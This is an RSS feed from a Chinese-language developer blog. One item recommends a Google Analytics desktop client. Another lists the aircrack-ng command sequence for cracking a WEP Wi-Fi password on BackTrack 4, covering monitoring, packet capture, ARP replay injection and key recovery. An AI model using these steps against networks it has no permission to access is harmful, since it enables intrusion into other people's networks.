<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>“我”的开发笔记 &#187; 网络技术</title>
	<atom:link href="http://c.gzl.name/archives/category/others/%e7%bd%91%e7%bb%9c%e6%8a%80%e6%9c%af/feed" rel="self" type="application/rss+xml" />
	<link>http://c.gzl.name</link>
	<description>IPhone, Cocoa, PHP, Javascript, JQuery, Actionscript, etc...</description>
	<lastBuildDate>Thu, 29 Dec 2011 07:20:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>基于Air的本地Google Analytics客户端</title>
		<link>http://c.gzl.name/archives/559</link>
		<comments>http://c.gzl.name/archives/559#comments</comments>
		<pubDate>Tue, 08 Jun 2010 04:37:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网络技术]]></category>
		<category><![CDATA[Google Analytics]]></category>
		<category><![CDATA[Polaris]]></category>

		<guid isPermaLink="false">http://c.gzl.name/?p=559</guid>
		<description><![CDATA[看着自己原来写的博客还有这么高的浏览量真是惭愧,愧对那些看我博客的朋友. 最近iOS开发功力恢复中,希望尽快恢复佛典的继续开发,不为别的,只为曾经说过. 看自己网站的浏览量是非常开心得事情,当然前题是你的网站流量还满意&#8230;. Polaris是一个非常简单的,免费的Google Analytics客户端. 基于Air代表着Mac, Windows都OK. 非常不错得界面,大家试试吧, 懒得登录google的好选择. 下载]]></description>
		<wfw:commentRss>http://c.gzl.name/archives/559/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backtrack4破解WEP密碼流程</title>
		<link>http://c.gzl.name/archives/527</link>
		<comments>http://c.gzl.name/archives/527#comments</comments>
		<pubDate>Mon, 18 Jan 2010 20:31:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[其他]]></category>
		<category><![CDATA[网络技术]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[backtrack4]]></category>

		<guid isPermaLink="false">http://c.gzl.name/?p=527</guid>
		<description><![CDATA[哥的网混正了&#8230;不需要这些了，但是还是放在博客上好 airmon-ng -&#62;得到接口信息 airodump-ng -&#62; 得到附近网络节点的信息ap BSSID, ESSID, CH airodump-ng -w wep -c 频道 &#8211;bssid MAC地址 接口名 aireplay-ng -1 0 -a MAC地址 接口名 aireplay-ng -3 -b MAC地址 接口名 aircrack-ng ~.cap -&#62; 解码开始]]></description>
		<wfw:commentRss>http://c.gzl.name/archives/527/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

